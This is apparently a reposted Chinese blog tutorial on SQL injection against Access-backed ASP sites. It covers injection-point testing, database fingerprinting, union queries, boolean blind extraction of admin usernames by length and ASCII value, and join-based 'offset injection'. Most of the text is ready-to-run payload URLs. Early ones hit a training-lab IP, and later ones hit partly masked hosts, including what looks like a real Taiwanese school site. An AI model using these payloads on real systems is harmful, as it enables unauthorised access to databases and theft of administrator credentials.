sql注入-access数据库-总结

Access数据库

是一种非常简单但是功能完整的数据库,很适合小型网站创建,可以很轻松管理表和列,有很多管理工具

手工注入

判断注入点

1.这里采用墨者学院提供的SQL手工注入漏洞测试环境

http://219.153.49.228:40000/new_list.asp?id=1

2.判断注入点标准三连 ’ ~ and 1 ~ and 0

http://219.153.49.228:47744/new_list.asp?id=1'		#页面报错
http://219.153.49.228:47744/new_list.asp?id=1 and 1    #页面正常
http://219.153.49.228:47744/new_list.asp?id=1 and 0   #页面报错

对比后 我们发现 and 1 后 页面正常 and 0后页面错误,说明此时已经闭合成功了 ,可以拼接自己要的语句了。

判断数据库类型


#若带入 and (select count(*) from msysobjects)>0 
#由于msysobjects表在access数据库中无权访问所以返回错误--为access数据库

因为access数据库有时候添加上面的语句就报错,所以我们不知道是不是acess数据库,这里我们根据脚本语言判断 如果语言为asp,基本就是access数据库,aspx可能是mssql很少是access。所以我们要判断是不是access数据库。只需要看是不是asp 语言,如果是aspx就判断他是不是MSSQL数据库即可。


#若带入and (select count(*) from sysobjects)>0 
#由于sysobjects表在MSSQL数据库中可以正常访问所以当返回正常页面时表示为MSSQL数据库

http://219.153.49.228:43394/new_list.asp?id=1 and (select count(*) from sysobjects)>0    #错误表示不是mssql,而是access、数据库

判断可以进行什么类型的注入

如果有回显的情况下,我们可以尝试一下联合注入。当然也可以用盲注。

在这里插入图片描述

联合注入

1. 判断存在的字段数

order by 语句用来根据指定的列对结果集进行排序
order by 1”表示对第一栏位进行排序,

2. 作用:可以用来判断查询语句所在的表到底有多少个字段。

http://219.153.49.228:43394/new_list.asp?id=1 order by 1		#按第一列进行排序正常,说明至少有一个列

http://219.153.49.228:43394/new_list.asp?id=1 order by 2		#2个

http://219.153.49.228:43394/new_list.asp?id=1 order by 3		#3个

http://219.153.49.228:43394/new_list.asp?id=1 order by 4		#4个

http://219.153.49.228:43394/new_list.asp?id=1 order by 5      # 此时报错,说明该表只有四个字段

--
#用此方法也行,道理一样,都是看能不能根据列来排序,如果能,就说明存在序号为N的这一列
http://219.153.49.228:43394/new_list.asp?id=1 order by 1,2,3,4,5
http://219.153.49.228:43394/new_list.asp?id=1 order by 1,2,3,4
http://219.153.49.228:43394/new_list.asp?id=1 order by 1,2,3

3. 猜解表名

Access数据库结构:
masterdb(下面可以有很多表)
表1(每个表下面可以有很多列) 、表2、表3
列1 列2 列3
再下面是一组一组的数据

(1)猜解表名列名,联合查询法

http://219.153.49.228:43394/new_list.asp?id=1 union select 1,2,3,4 from admin(自己猜测的)

如果存在,爆出显示位置

在这里插入图片描述

http://219.153.49.228:43394/new_list.asp?id=1 union select 1,2,3,4 from admin5(随便输入的)

如果不存在,就会报错
在这里插入图片描述

可以猜出有 admin 和news表,这个工作更适合工具来做

http://219.153.49.228:43394/new_list.asp?id=1 union select 1,2,3,4 from news

4. 猜解列名

从爆出显示位置的列入手,如上图的2,3,因为用此处查询可以直接看到结果,可以验证对错

http://219.153.49.228:43394/new_list.asp?id=1 union select 1,id,username,4 from admin

从2,3处猜 在admin表中是否存在id,username这两个列,不存在报错,如果存在,就会打印查到的第一行的数据
![[Pasted image 20201214224814.png]]

不好猜的话多看工具里搜集的表名列名

5. 猜解表名列名,

逐字猜解法,猜表名

http://219.153.49.228:43394/new_list.asp?id=1 and exists (select * from admin) 	#判断查询结果是否存在

同样,列名也可以

http://219.153.49.228:43394/new_list.asp?id=1 and exists (select id from admin)   #页面返回正常表示存在
http://219.153.49.228:43394/new_list.asp?id=1 and exists (select id,username from admin)   #页面返回正常表示存在

这里查询数据是重点
判断长度

http://219.153.49.228:43394/new_list.asp?id=1 and (select top 1 len(username) from admin)=4		#正常
#若该列数据的长度为4则返回正常,否则出错

http://219.153.49.228:43394/new_list.asp?id=1 and (select top 1 len(username) from admin)=5		#出错

如果无回显的情况下,我们只能盲注。

布尔盲注

判断有无admin 这个表,

http://219.153.49.228:43394/new_list.asp?id=1and exists (select * from admin)

判断有无password这个列

http://219.153.49.228:43394/new_list.asp?id=1 and exists (select password from admin)

判断有数据长度

access数据库中没有 limit,就不能限制查询出来的行数。但是我们可以使用top命令,top 1是将查询的所有数据只显示第一行,所以 top3就是显示查询出来的前三行数据了

http://219.153.49.228:43394/new_list.asp?id=1 and (select top 1 len(username) from admin)=4		#正常
#若该列数据的长度为4则返回正常,否则出错

http://219.153.49.228:43394/new_list.asp?id=1 and (select top 1 len(username) from admin)=5		#出错

说明username对应的第一行数据的长度是4

![[Pasted image 20201215105043.png]]

接下来根据ASCII码表逐字猜解每一位的数据

http://219.153.49.228:43394/new_list.asp?id=1 and (select top 1 asc(mid(username,1,1)) from admin)=107	# 错误

http://219.153.49.228:43394/new_list.asp?id=1 and (select top 1 asc(mid(username,1,1)) from admin)=109	#正确

moke第一位为小写m,正确
格式为asc(mid(列名,位数,1))

从第二行开始,查询数据就得用另外的语句了,因为这里的top只能显示查询前几条数据,所以我们得用联合查询,先查询前两条,然后倒序,然后在找出第一条,这就是第二条数据。
查询第二行admin列的长度
and (select top 1 len(admin)  from ( select top 2 * from information order by id)  order by id desc)>55
下面是查询第2条数据的第3个字符
and (select top 1 asc(mid(admin,3,1))  from ( select top 2 * from information order by id)  order by id desc)>55
查询第三条数据的4个字符
and (select top 1 asc(mid(admin,4,1))  from ( select top 3 * from information order by id)  order by id desc)>55

注:在access中,中文也可以用asc函数来表示,例如:asc(mid("中国",1)) 表示 中 字的ascii值,可以用 chr 来逆向得出值

偏移注入

Access偏移注入:表名知道,列名无法获取的情况下

注入原理

假设一个表有8个字段,admin表有3个字段。

联合查询payload:union select 1,2,3,4,5,6,7,8 from admin 

在我们不知道admin有多少字段的情况下可以尝试payload:union select 1,2,3,4,5,6,7,admin.* from admin,此时页面出错

直到payload:union select 1,2,3,4,5,admin.* from admin时页面返回正常,说明admin表有三个字段

然后通过移动admin.*的位置,就可以回显不同的数据

判断多少个列

http://www.xxx.com/show.asp?id=1993 order by 45 回显正常

http://www.xxx.com/show.asp?id=1993 order by 46 回显错误

说明有45个列
然后进行联合注入
http://www.xxxx.com/show.asp?id=1993 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45 from admin(admin这个表是猜的)

在这里插入图片描述

查询表的列数

http://www.xxxx.com/show.asp?id=1993 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,admin.* from admin #回显错误

http://www.xxxxx.com/show.asp?id=1993 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,* from admin #回显正常
在这里插入图片描述

回显成功,说明admin的列数为 45-41=4

偏移注入

然后我们再减掉四个数进行偏移注入
45 - 8 = 37
http://www.xxx.com/show.asp?id=1993 UNION SELECT 1,2,3,4,15,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,* from (admin as a inner join admin as b on a.adminid=b.adminid)
(表种必须有adminid列)

![[Pasted image 20201215195628.png]]

这时候,因为偏移上没有回显位。我们还需要重新偏移
所以我们还需要再减掉

http://www.xxxx.com/show.asp?id=1993 UNION SELECT 1,2,3,4,15,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,* from ((admin as a inner join admin as b on a.adminid= b.adminid)inner join admin as c on a.adminid=c.adminid)

http://www.xxxx.com/show.asp?id=1993 UNION SELECT 1,2,3,4,15,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,* from (((admin as a inner join admin as b on a.adminid= b.adminid)inner join admin as c on a.adminid=c.adminid) inner join admin as d on a.adminid=d.adminid)
在这里插入图片描述
这时候我们发现预览那个地方有回显位了。

移位溢注

在Access数据库类型注入的时候,我们获取不到列名(前提是有表名),一般会选择使用偏移注入,但是这种注入方式往往借助的是个人的人品,且步骤繁琐。本文中我们研究了一种新的注入技术让“偏移注入不再需要人品”。在这里定义这种注入技术为:“移位溢注技术”。
它适用于ACCESS和MYSQL(任何版本)

正文

我们先来看看普通的偏移注入步骤:

  • 1.判断注入点
  • 2.order by 判断长度
  • 3.判断表名
  • 4.联合查询
  • 5.获取表中列数:union select 1,2,3,4,…,* from TABLE
  • 6.开始偏移注入:TABLE as a inner join TABLE as b on a.id=b.id

由于步骤6的方法过于需要人品值,且语句繁琐,因此在这里,我们研究新的注入技术:-

1. 判断字段长度

https://xxx/sc/tt/syste1/newshow.asp?news_id=801 order by 16 回显正常
https://xxx/sc/tt/syste1/newshow.asp?news_id=801 order by 17 回显不正常
在这里插入图片描述

2.判断表名

https://www.xxx.edu.tw/sc/tt/syste1/newshow.asp?news_id=801 and exists(select * from newsadmin)
在这里插入图片描述

3. 判断表长

https://www.xxx.edu.tw/sc/tt/syste1/newshow.asp?news_id=801 UNION SELECT 1,2,2,4,5,6,7,8,9,10,11,12,13,14,15,newsadmin.* from newsadmin 回显错误
在这里插入图片描述

4. 开始偏移

我们这时候就可以看到回显位15 已经出现了
在这里插入图片描述
然后,我们进行移位。
在这里插入图片描述
与此类推往左移位,就可以不断的注出数据。
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_42109829/article/details/111239620